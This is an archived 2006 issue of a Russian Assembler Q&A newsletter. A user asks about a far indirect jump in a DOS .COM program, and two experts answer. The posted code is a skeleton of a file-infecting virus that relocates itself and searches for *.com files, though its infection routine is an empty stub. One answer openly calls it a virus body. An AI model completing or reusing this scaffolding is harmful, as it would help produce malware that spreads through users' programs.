Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

RusFAQ.ru: программирование на языке Assembler


РАССЫЛКИ ПОРТАЛА RUSFAQ.RU

/ КОМПЬЮТЕРЫ И ПО / Языки программирования / Assembler

Выпуск № 418
от 05.04.2006, 06:05

Администратор:Калашников О.А.
В рассылке:Подписчиков: 296, Экспертов: 26
В номере:Вопросов: 1, Ответов: 2


Вопрос № 38981: Почему послу выполнения этого кода: jmp dword ptr cs:[Off_move] в программе которая изложена ниже, мы переходим не сегмент 0BF00h .286 cseg SEGMENT assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG org 100h Begin: jmp ...

Вопрос № 38.981
Почему послу выполнения этого кода:
jmp dword ptr cs:[Off_move]
в программе которая изложена ниже, мы переходим не сегмент 0BF00h

.286
cseg SEGMENT
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h
Begin:
jmp Init

Off_move dw offset Lab_jmp
Seg_move dw 0BF00h

Off_return dw offset Lab_return
Seg_return dw ?

Open_file proc
mov ax,3D02h
int 21h
mov Handle,ax
mov bx,ax
ret

Handle dw 0FFFFh
Open_file endp

Close_file proc
cmp Handle,0FFFFh
je No_close

mov bx,Handle
mov ah,3Eh
int 21h

No_close:
ret
Close_file endp

Find_first proc
mov ah,4Eh
xor cx,cx
mov dx,offset Mask_file
int 21h
ret
Mask_file db '*.com',0
Find_first endp

Find_next proc
xor dx,dx
xor cx,cx
mov ah,4Fh
int 21h
ret
Find_next endp

Infect_file proc
clc

ret
Infect_file endp
Init:
mov es,Seg_move
mov di,100h
mov cx,offset Finish-100h


mov si,100h
rep movsb


jmp dword ptr cs:[Off_move]

Lab_jmp:
nop
nop

push cs
pop ds

mov Seg_return,ss

mov ah,1Ah
xor dx,dx
int 21h

call Find_first
jc Nomore_files

Inf_file:
call Infect_file
jnc Nomore_files

call Find_next
jnc Inf_file

Nomore_files:
jmp dword ptr cs:[Off_return]

Lab_return:
push cs
push cs
pop ds
pop es

mov ah,1Ah
mov dx,80h
int 21h

ret

Finish equ $

CSEG ends
end Begin
Отправлен: 30.03.2006, 17:26
Вопрос задал: Platon (статус: Посетитель)
Всего ответов: 2
Мини-форум вопроса >>> (сообщений: 4)

Отвечает: Лысков Игорь Витальевич
Здравствуйте, Platon!
Так команда jmp dword ptr cs:[Off_move] и делает косвенный межсегментный
переход на адрес, хранимый по адресу cs:[Off_move], причем смещение
хранится по указанному адресу, а сегмент по адресу cs:[Off_move+2]
PS Обрати внимание на "словечко" dword после jmp-а
---------
Удачи!
Ответ отправил: Лысков Игорь Витальевич (статус: Студент)
Ответ отправлен: 30.03.2006, 17:57

Отвечает: Пан Павел Константинович
Здравствуйте, Platon!
Как поживаете?

> В программе которая изложена ниже, мы переходим не сегмент 0BF00h
>> Этот вопрос я понел двояко т.е.
1. Почему мы переходим не на сегмент 0BF00h?
2. Почему мы переходим на сегмент 0BF00h?
Ответ к первому вопросу:
Я пропустил вашу программу через отладчик и у меня всё работало нормально т.е.
был переход на сегмент 0BF00h после выполнения команды jmp dword ptr cs:[Off_move].
Ответ к второму вопросу:
сегмент 0BF00h - это сегмент седьмой страницы дисплея, туда происходит как я понимаю копирование тела вируса, почему? Этим сегментом практически не пользуются программы, следовательно мы не затрём код какой-нибудь программы.

С, Уважением MnEm0n!C.


---------
Hello Worlds
Ответ отправил: Пан Павел Константинович (статус: 4-ый класс)
Ответ отправлен: 31.03.2006, 19:38
Оценка за ответ: 5


Отправить вопрос экспертам этой рассылки

Приложение (если необходимо):

* Код программы, выдержки из закона и т.п. дополнение к вопросу.
Эта информация будет отображена в аналогичном окне как есть.

Обратите внимание!
Вопрос будет отправлен всем экспертам данной рассылки!

Для того, чтобы отправить вопрос выбранным экспертам этой рассылки или
экспертам другой рассылки портала RusFAQ.ru, зайдите непосредственно на RusFAQ.ru.


Форма НЕ работает в почтовых программах The BAT! и MS Outlook (кроме версии 2003+)!
Чтобы отправить вопрос, откройте это письмо в браузере или зайдите на сайт RusFAQ.ru.


© 2001-2006, Портал RusFAQ.ru, Россия, Москва.
Идея, дизайн, программирование: Калашников О.А.
Email: adm@rusfaq.ru, Тел.: +7 (926) 535-23-31
Авторские права | Реклама на портале
Версия системы: 4.21 от 03.04.2006
Яндекс Rambler's Top100

В избранное